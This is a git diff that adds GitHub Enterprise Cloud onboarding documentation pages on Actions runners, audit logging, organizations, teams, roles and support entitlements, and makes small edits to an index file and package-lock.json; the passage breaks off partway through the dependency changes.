[AUTOTITLE](/rest/actions/self-hosted-runners#create-configuration-for-a-just-in-time-runner-for-an-organization). + +> [!NOTE] +> Re-using hardware to host JIT runners can risk exposing information from the environment. Use automation to ensure the JIT runner uses a clean environment. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#using-ephemeral-runners-for-autoscaling). + +Once you have the config file from the REST API response, you can pass it to the runner at startup. + +```shell +./run.sh --jitconfig ${encoded_jit_config} +``` + +### Planning your management strategy for self-hosted runners + +A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: + +**Centralized management:** +* If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. +* If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. + +**Decentralized management:** +* If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. +* You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. + +### Authenticating to your cloud provider + +If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). + +## Auditing {% data variables.product.prodname_actions %} events + +You can use the security log to monitor activity for your user account and the audit log to monitor activity in your organization or enterprise. The security and audit log records the type of action, when it was run, and which personal account performed the action. + +For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets. + +![Screenshot showing a search for "action:org.update_actions_secret" in the audit log for an organization. Two results are shown.](/assets/images/help/repository/audit-log-entries.png) + +For the full list of events that you can find in the audit log for each account type, see the following articles: + +* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events) +* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization) +* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions) diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions.md new file mode 100644 index 000000000000..3af18ff229a3 --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions.md @@ -0,0 +1,79 @@ +--- +title: Understanding GitHub Actions +shortTitle: Understand GitHub Actions +intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.' +versions: + ghec: '*' +type: overview +topics: + - Fundamentals + - Actions +allowTitleToDifferFromFilename: true +--- + +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. + +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. + +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. + +For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). + +## The components of {% data variables.product.prodname_actions %} + +You can configure a {% data variables.product.prodname_actions %} **workflow** to be triggered when an **event** occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more **jobs** which can run in sequential order or in parallel. Each job will run inside its own virtual machine **runner**, or inside a container, and has one or more **steps** that either run a script that you define or run an **action**, which is a reusable extension that can simplify your workflow. + +![Diagram of an event triggering Runner 1 to run Job 1, which triggers Runner 2 to run Job 2. Each of the jobs is broken into multiple steps.](/assets/images/help/actions/overview-actions-simple.png) + +### Workflows + +{% data reusables.actions.about-workflows-long %} + +You can reference a workflow within another workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). + +For more information, see [AUTOTITLE](/actions/using-workflows). + +### Events + +An **event** is a specific activity in a repository that triggers a **workflow** run. For example, an activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow to run on a [schedule](/actions/using-workflows/events-that-trigger-workflows#schedule), by [posting to a REST API](/rest/repos/repos#create-a-repository-dispatch-event), or manually. + +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows). + +### Jobs + +A **job** is a set of **steps** in a workflow that is executed on the same **runner**. Each step is either a shell script that will be executed, or an **action** that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. + +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel. When a job takes a dependency on another job, it waits for the dependent job to complete before running. + +For example, you might configure multiple build jobs for different architectures without any job dependencies and a packaging job that depends on those builds. The build jobs run in parallel, and once they complete successfully, the packaging job runs. + +For more information, see [AUTOTITLE](/actions/using-jobs). + +### Actions + +An **action** is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your **workflow** files. An action can pull your Git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. + +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. + +{% data reusables.actions.internal-actions-summary %} + +For more information on actions, see [AUTOTITLE](/actions/creating-actions). + +### Runners + +A **runner** is a server that runs your workflows when they're triggered. Each runner can run a single **job** at a time. +{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your **workflows**. Each workflow run executes in a fresh, newly-provisioned virtual machine. + +{% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners). + +If you need a different operating system or require a specific hardware configuration, you can host your own runners. + +For more information about self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners). + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise) diff --git a/content/enterprise-onboarding/index.md b/content/enterprise-onboarding/index.md new file mode 100644 index 000000000000..7e6a0047c252 --- /dev/null +++ b/content/enterprise-onboarding/index.md @@ -0,0 +1,29 @@ +--- +title: Enterprise onboarding +intro: 'Learn what you need to do to successfully onboard your company onto your new enterprise.' +introLinks: + overview: '{% ifversion ghec %}/enterprise-onboarding/getting-started-with-your-enterprise{% endif %}' + try_ghec_for_free: '{% ifversion ghec %}https://github.com/account/enterprises/new?ref_cta=GHEC+trial&ref_loc=enterprise+administrators+landing+page&ref_page=docs{% endif %}' +featuredLinks: + startHere: + - '{% ifversion ghec %}/enterprise-onboarding/getting-started-with-your-enterprise{% endif %}' + - '{% ifversion ghec %}/enterprise-onboarding/setting-up-organizations-and-teams{% endif %}' + - '{% ifversion ghec %}/enterprise-onboarding/support-for-your-enterprise{% endif %}' + popular: + - '{% ifversion ghec %}/enterprise-onboarding/github-actions-for-your-enterprise{% endif %}' + - '{% ifversion ghec %}/enterprise-onboarding/feature-enhancements{% endif %}' +layout: product-landing +versions: + ghec: '*' + ghes: '*' +topics: + - Administrator + - Enterprise + - Set up +children: + - /getting-started-with-your-enterprise + - /setting-up-organizations-and-teams + - /support-for-your-enterprise + - /github-actions-for-your-enterprise + - /feature-enhancements +--- diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise.md new file mode 100644 index 000000000000..aa74cdd0f632 --- /dev/null +++ b/content/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise.md @@ -0,0 +1,51 @@ +--- +title: Best practices for organizations in your enterprise +intro: 'Learn how to structure your enterprise and organizations for the best developer experience.' +versions: + ghec: '*' +type: how_to +topics: + - Organizations + - Enterprise +shortTitle: Best practices +--- + +There are multiple options for structuring the organizations within your enterprise. Each approach has pros and cons, and the best structure for your enterprise depends on the characteristics and needs of your business, including size and security constraints. +We recommend aligning your strategy with the culture you want to create, not the culture you currently have. If you want to advance in terms of collaboration and innersourcing, structure your tools accordingly. Then, your tools can assist you in the cultural change instead of acting as a blocker. + +This article summarizes key points from {% data variables.product.company_short %}'s recommendations. For more details, see the [Further reading](#further-reading) section. + +## Minimize the number of organizations + +In general, {% data variables.product.company_short %} recommends minimizing the number of organizations you create. + +* Members of an organization can **find resources and communicate** easily, which fosters a **collaborative environment**. +* It's always easier to add organizations than to remove them, so we recommend **starting with a small number** of organizations, which gives you more flexibility in the future. +* Removing organizations is much more **difficult**, often requiring migrations and a reduction in flexibility that teams have gotten used to. + +## When are multiple organizations required? + +Some customers will require multiple organizations. + +* The main benefit of creating multiple organizations is the ability to **configure separate policies, settings, and requirements** for each. +* Organization owners always have access to all repositories owned by the organization. If your company is large enough that **no single owner should have access to all repositories**, consider creating multiple organizations. +* We recommend creating and enforcing fixed and transparent **rules for creating a new organization** in your enterprise. This will make it easier for everyone to understand the purpose of each organization and which assets are located where. + +Different customers have succeeded with different setups for numbers of organizations and access permissions within them. To explore options, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise#about-organizational-structure). + +## Best practices within organizations + +Within each organization in your enterprise, you should encourage organization owners to follow best practices. +* **Add multiple owners**: If an organization only has one owner, the organization's projects can become inaccessible if the owner is unreachable. To ensure that no one will lose access to a project, we recommend that at least two people within each organization have the owner role. +* **Use teams**: Teams allow you to manage permissions, code ownership, and notifications for groups of people. If you use an identity provider (IdP) for authentication, we highly recommend managing team membership through your IdP. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams). +* **Collaborate in organization-owned repositories**: Where possible, minimize collaboration in user-owned repositories. Organization-owned repositories have more sophisticated security and administrative features, and they remain accessible even as enterprise membership changes. + +## Next steps + +You have begun creating organizations and managing access for users to match your company's desired structure. Next, learn how to get help when you need it with {% data variables.contact.github_support %}. See [AUTOTITLE](/enterprise-onboarding/support-for-your-enterprise/understanding-support). + +## Further reading + +* [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise#about-organizational-structure) +* [Best practices for organizations and teams using GitHub Enterprise Cloud](https://github.blog/enterprise-software/devops/best-practices-for-organizations-and-teams-using-github-enterprise-cloud/) on {% data variables.product.prodname_blog %} +* [Strategies for using organizations in GitHub Enterprise Cloud](https://resources.github.com/learn/pathways/administration-governance/essentials/strategies-for-using-organizations-github-enterprise-cloud/) on {% data variables.product.github %} Resources diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams.md new file mode 100644 index 000000000000..b20fe6eaf951 --- /dev/null +++ b/content/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams.md @@ -0,0 +1,49 @@ +--- +title: Creating teams +intro: 'Use teams to manage permissions, notifications, and code ownership in your organizations.' +versions: + ghec: '*' +shortTitle: Create teams +type: how_to +permissions: Organization owners can create teams and control whether all organization members can also create teams. +topics: + - Organizations + - Enterprise +--- + +## About teams + +You can use teams to manage access for people in an organization. Teams are groups of organization members that reflect your company's structure with cascading access permissions. + +Teams can: + +* Have admin, read, or write **access** to organization repositories +* Receive **notifications** when the team's name is mentioned or when someone requests a review from the team +* Be designated as **owners** of certain files in a CODEOWNERS file +* Be made **"secret"** to hide membership from other members +* Be synced with an **identity provider** group to manage membership centrally +* Be **children or parents** of other teams, allowing permissions and notifications to be inherited + +For more information, see See [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) and [AUTOTITLE](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization). + +## Creating a team + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.new_team %} +{% data reusables.organizations.team_name %} +{% data reusables.organizations.team_description %} +{% data reusables.organizations.create-team-choose-parent %} +{% ifversion ghec %} +1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team. + * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). + * If your organization or enterprise account uses team synchronization, under "Identity Provider Groups," select the **Select Groups** dropdown menu, and click up to five identity provider groups to connect to the new team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). +{% endif %} +{% data reusables.organizations.team_visibility %} +{% data reusables.organizations.team-notifications %} +{% data reusables.organizations.create_team %} +1. Optionally, give the team access to organization repositories. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). + +## Next steps + +Next, learn about best practices for structuring your organizations and teams. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise). diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/index.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/index.md new file mode 100644 index 000000000000..f50d3e52f6f5 --- /dev/null +++ b/content/enterprise-onboarding/setting-up-organizations-and-teams/index.md @@ -0,0 +1,17 @@ +--- +title: Setting up organizations and teams in your enterprise +intro: 'Learn how to add and manage organizations and teams in your enterprise.' +versions: + ghec: '*' +topics: + - Accounts + - Enterprise + - Set up +shortTitle: Set up organizations and teams +children: + - /setting-up-an-organization + - /managing-organization-members + - /managing-your-organizations + - /creating-teams + - /best-practices-for-organizations-in-your-enterprise +--- diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members.md new file mode 100644 index 000000000000..2c0aebca1c17 --- /dev/null +++ b/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members.md @@ -0,0 +1,54 @@ +--- +title: Managing organization members +intro: 'Learn how to give users access to organizations and repositories in your enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Organizations + - Enterprise +shortTitle: Manage organization members +--- + +## About roles in an organization + +To perform any actions on {% data variables.product.github %}, a person must have sufficient access to the relevant account or resource. This access is controlled by permissions. A permission is the ability to perform a specific action, such as changing billing settings for the organization. A role is a set of permissions you can assign to individuals or teams. + +In your enterprise's organizations, you can give roles to individuals or teams to allow them to manage the organization's settings or contribute to the organization's repositories. + +Organization owners have full administrative access to the organization. To ensure that no one will lose access to a project, we recommend that each organization has at least two owners. As an organization owner, you can change the role of other organization members and owners. You can't change your own role. + +## Types of organization roles + +Every user you add to an organization has a **membership type** (owner, member, or billing manager) which determines the user's base set of permissions in the organization. For example: + + * An organization **owner** can access all organization settings. + * An organization **member** can create repositories but not change any organization settings. + +In addition to the membership type, you can assign users and teams additional **roles** which give users more permissions in the organization and its repositories. + +Depending on the level of control you need, you can grant users: + +* A **pre-defined role** that {% data variables.product.company_short %} provides, which can include access to organization settings and blanket access to repositories. For example: "All-repository write." +* A **custom role** where you define your own set of organization and repository permissions. + +For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) and [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). + +## Adding users to organizations + +How you add users to organizations depends on whether you are using {% data variables.product.prodname_emus %}. + +* If you're **not** using {% data variables.product.prodname_emus %}: + * You will send an invite to users' personal accounts, asking them to join the organization. See [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). + * As an alternative, if the organization uses SAML SSO, you can manage membership from your SSO provider using SCIM. See [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). +* If you **are** using {% data variables.product.prodname_emus %}: + * First, you will add users to the enterprise from your identity provider using SCIM. + * Then, you can either add users to organizations directly, or link identity provider (IdP) groups to teams within organizations, which will automatically add users to organizations. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups). + +Once you have added a user to the organization, you can grant them a specific role. + +>[!TIP] You can also add users directly to repositories in an organization without giving them organization membership. This is called the "outside collaborator" or "repository collaborator" role, depending on whether you use {% data variables.product.prodname_emus %}. See [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization). + +## Next steps + +Now you have added users to an organization, you can create teams in the organization to manage permissions, notifications, and code ownerships for groups of people. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams). diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations.md new file mode 100644 index 000000000000..2696ddbf12a1 --- /dev/null +++ b/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations.md @@ -0,0 +1,39 @@ +--- +title: Managing your organizations +intro: 'Learn how to manage your organizations in your enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Organizations + - Enterprise +shortTitle: Manage organizations +--- + +## Best practices for organizations in an enterprise + +There are multiple options for structuring the organizations within your enterprise. Each approach has pros and cons, and the best structure for your enterprise depends on the characteristics and needs of your business, including size and security constraints. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise). + +## Adding organizations to your enterprise + +There are three ways to add organizations to your enterprise. + +* **Create** a new organization in your enterprise. +* **Invite** an existing organization to join your enterprise. +* **Transfer** an existing organization between enterprise accounts. + +Adding existing organizations to your enterprise is not possible if you use {% data variables.product.prodname_emus %}. Existing organizations from an enterprise with managed users cannot be added to a different enterprise, and organizations cannot be transferred from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.enterprise.data_residency_site %}. + +To learn how to create a new organization, invite an existing organization, or transfer an existing organization, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). + +## Managing your role in an organization + +You can choose to join an organization owned by your enterprise as a member or as an organization owner, change your role within the organization, or leave the organization. See [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). + +## Removing an organization from your enterprise + +You can remove an organization that is owned by your enterprise account, so the organization stands alone. To learn more about what happens when an organization is removed, and how to remove an organization in the web interface, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams) diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization.md new file mode 100644 index 000000000000..a212f7f96186 --- /dev/null +++ b/content/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization.md @@ -0,0 +1,42 @@ +--- +title: Setting up an organization +intro: 'Learn how to set up an organization in your enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Organizations + - Enterprise +shortTitle: Set up an organization +--- + +There are three ways to add organizations to your enterprise. + +* **Create** a new organization in your enterprise. +* **Invite** an existing organization to join your enterprise. +* **Transfer** an existing organization between enterprise accounts. + +If you chose an enterprise with personal accounts, to learn how to add an existing organization to your enterprise, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). If you chose an enterprise with {% data variables.product.prodname_emus %}, it is not possible to invite or transfer an existing organization. + +## Creating a new organization + +New organizations you create within your enterprise account settings are included in your enterprise account's {% data variables.product.prodname_ghe_cloud %} subscription. + +Enterprise owners who create an organization owned by the enterprise account automatically become organization owners. See [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). + +During a trial of {% data variables.product.prodname_ghe_cloud %}, you can create up to three new organizations in your enterprise. + +{% data reusables.enterprise-accounts.access-enterprise %} +{%- ifversion enterprise-readme %} +1. In the left sidebar, click **Organizations**. +{%- endif %} +1. Above the list of organizations, click **New organization**. +1. Under "Organization name", type a name for your organization. +1. Click **Create organization**. +1. Optionally, under "Invite owners", type the username of a person you'd like to invite to become an organization owner, then click **Invite**. +1. Click **Finish**. + +## Next steps + +1. To learn how to invite or transfer an existing organization to your enterprise, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). +1. After you create or add an organization to your enterprise, learn how to manage organization members. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members). diff --git a/content/enterprise-onboarding/support-for-your-enterprise/index.md b/content/enterprise-onboarding/support-for-your-enterprise/index.md new file mode 100644 index 000000000000..af0e232895da --- /dev/null +++ b/content/enterprise-onboarding/support-for-your-enterprise/index.md @@ -0,0 +1,16 @@ +--- +title: Creating a support model for your enterprise +intro: 'Learn about {% data variables.product.github %} support and how to set up a support model for your enterprise.' +allowTitleToDifferFromFilename: true +versions: + ghec: '*' +topics: + - Enterprise + - Set up + - Support +shortTitle: Create a support model +children: + - /understanding-support + - /using-the-support-portal + - /managing-support-entitlements +--- diff --git a/content/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements.md b/content/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements.md new file mode 100644 index 000000000000..740a3d7bfbde --- /dev/null +++ b/content/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements.md @@ -0,0 +1,43 @@ +--- +title: 'Managing support entitlements' +intro: 'Learn how to manage support entitlements for your enterprise.' +versions: + ghec: '*' +allowTitleToDifferFromFilename: true +type: how_to +topics: + - Enterprise + - Set up + - Support +shortTitle: Manage support entitlements +--- + +## About support entitlements + +People with support entitlements for your enterprise account can use the support portal to open, view, and comment on support tickets associated with the enterprise account. + +Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to a limited number of enterprise members. +* **{% data variables.product.premium_support_plan %}:** Up to 20 members +* **{% data variables.product.premium_plus_support_plan %}:** Up to 40 members + +## Adding support entitlements + +To add a support entitlement to a user, the user must already be a member of an organization that is owned by your enterprise. + +>[!NOTE] After you add a support entitlement, the enterprise member may need to sign out from {% data variables.contact.contact_landing_page_portal %}, then sign in again, before they can manage tickets. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +1. Under "Settings", click **Support**. +1. In the search bar, start typing the name or username of the person you want to give a support entitlement. Click their name in the list of matches. +1. Click **Add support entitlement**. + +## Removing entitlements + +You can manually remove support entitlements for enterprise members provided they are not enterprise owners or billing managers. + +To learn how to remove support entitlements, see [Removing a support entitlement from an enterprise member](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise#removing-a-support-entitlement-from-an-enterprise-member). + +## Next steps + +Next, learn how you can automate your enterprise's software development cycle and improve productivity with {% data variables.product.prodname_actions %}. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud). diff --git a/content/enterprise-onboarding/support-for-your-enterprise/understanding-support.md b/content/enterprise-onboarding/support-for-your-enterprise/understanding-support.md new file mode 100644 index 000000000000..f99379ba61db --- /dev/null +++ b/content/enterprise-onboarding/support-for-your-enterprise/understanding-support.md @@ -0,0 +1,49 @@ +--- +title: 'Understanding enterprise support' +shortTitle: Understand enterprise support +intro: 'Learn about the various {% data variables.contact.github_support %} offerings available to you.' +versions: + ghec: '*' +allowTitleToDifferFromFilename: true +type: overview +topics: + - Enterprise + - Set up + - Support +--- + +## About {% data variables.contact.github_support %} + +Standard {% data variables.contact.github_support %} is provided as part of your {% data variables.product.prodname_enterprise %} subscription and offers a comprehensive set of support and management features tailored for large businesses and teams. See [AUTOTITLE](/support/learning-about-github-support/about-github-support). + +{% data variables.product.prodname_enterprise %} customers can also purchase {% data variables.contact.premium_support %}. + +### About {% data variables.contact.premium_support %} + +{% data variables.contact.premium_support %} is a **paid**, supplemental support offering that is ideal for organizations requiring higher priority support, faster response times, dedicated account management, and 24/7 comprehensive support. In addition to all of the benefits of standard {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers: + +* 24/7 availability: Ensures that support is available at any time, day or night, including holidays, which is crucial for organizations operating globally or with mission-critical applications. + +* Faster response and resolution times: Accelerated response times for support requests mean that critical issues are addressed and resolved more quickly, minimizing downtime and disruption. + +* Escalation management: Dedicated escalation management ensures that complex issues are addressed promptly and efficiently, with a clear path for escalating critical incidents. + +* Early access to new features: Participation in beta programs and early access to new features allows you to stay ahead of the curve with the latest {% data variables.product.github %} innovations. + +There are two support plans available with {% data variables.contact.premium_support %}: + +* **{% data variables.product.premium_support_plan %}**: Includes priority ticket handling, access to premium content, and more. + +* **{% data variables.product.premium_plus_support_plan %}/{% data variables.product.microsoft_premium_plus_support_plan %}**: Includes all Premium Plan benefits plus additional features such as named Customer Reliability Engineer (CRE), quarterly enhanced health checks, technical advisory hours, and application upgrade assistance. + +For detailed information about {% data variables.contact.premium_support %} and the two support plans, see [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support). + +## Contacting {% data variables.contact.github_support %} + +To contact {% data variables.contact.github_support %}, visit the {% data variables.contact.contact_landing_page_portal %}. For more information, see [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket). + +Anyone can use the {% data variables.contact.contact_landing_page_portal %} to view and manage support tickets about {% data variables.product.prodname_dotcom %}, but there are special steps to follow before using the {% data variables.contact.contact_landing_page_portal %} to create tickets about an enterprise account. See [AUTOTITLE](/support/contacting-github-support/getting-your-enterprise-started-with-the-github-support-portal). + +## Next steps + +* To learn how to get started with the support portal, see [AUTOTITLE](/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal) diff --git a/content/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal.md b/content/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal.md new file mode 100644 index 000000000000..75bb74a80ffc --- /dev/null +++ b/content/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal.md @@ -0,0 +1,31 @@ +--- +title: 'Using the support portal' +shortTitle: Support portal +intro: 'Learn how to access the support portal for your enterprise.' +allowTitleToDifferFromFilename: true +versions: + ghec: '*' +type: how_to +topics: + - Enterprise + - Set up + - Support +--- + +## About the {% data variables.contact.enterprise_portal %} for enterprises + +Anyone can use the {% data variables.contact.contact_landing_page_portal %} to view and manage support tickets about {% data variables.product.prodname_dotcom %}, but there are special steps to follow before using the {% data variables.contact.contact_landing_page_portal %} to create tickets about an enterprise account. + +The {% data variables.contact.enterprise_portal %} offers single sign-on (SSO) connected to your {% data variables.product.prodname_dotcom %} account. + +## Getting started with the {% data variables.contact.enterprise_portal %} + +Before you start creating tickets associated with your enterprise account on {% data variables.product.prodname_dotcom_the_website %}, we recommend completing the following steps. + +1. Identify the user on {% data variables.product.prodname_dotcom_the_website %} who is an owner of your enterprise account. +1. Configure a verified domain. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). +1. Add owners, billing managers, or support-entitled members to your enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) and [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements) diff --git a/content/index.md b/content/index.md index b10e50e8a863..bf079fc4409c 100644 --- a/content/index.md +++ b/content/index.md @@ -51,6 +51,7 @@ versions: children: - search - get-started + - enterprise-onboarding - account-and-profile - authentication - repositories @@ -83,6 +84,7 @@ children: - video-transcripts - contributing - github-models + childGroups: - name: Get started octicon: RocketIcon @@ -141,6 +143,7 @@ childGroups: children: - organizations - code-security/securing-your-organization + - enterprise-onboarding - admin - gh-wa - name: Developers diff --git a/contributing/deployments.md b/contributing/deployments.md index 034e052ae960..068a41b8b7d9 100644 --- a/contributing/deployments.md +++ b/contributing/deployments.md @@ -2,9 +2,9 @@ Staging and production deployments are automated by a deployer service created and maintained by @github/docs-engineering. -### Preview deployments +### Review deployments -When a pull request contains only content changes, it can be previewed without a deployment. Code changes will require a deployment. GitHub Staff can deploy such a PR to a staging environment. +TBD ### Production deployments diff --git a/package-lock.json b/package-lock.json index 6d198146700e..18c744965690 100644 --- a/package-lock.json +++ b/package-lock.json @@ -114,7 +114,6 @@ "@types/connect-timeout": "0.0.39", "@types/cookie": "0.6.0", "@types/cookie-parser": "1.4.7", - "@types/elasticsearch": "^5.0.43", "@types/event-to-promise": "^0.7.5", "@types/express": "4.17.21", "@types/imurmurhash": "^0.1.4", @@ -150,18 +149,13 @@ "http-status-code": "^2.1.0", "husky": "^9.1.4", "json-schema-merge-allof": "^0.8.1", - "kill-port": "2.0.1", "lint-staged": "^15.2.9", "markdownlint": "^0.34.0", "markdownlint-rule-search-replace": "^1.2.0", - "mdast-util-gfm-table": 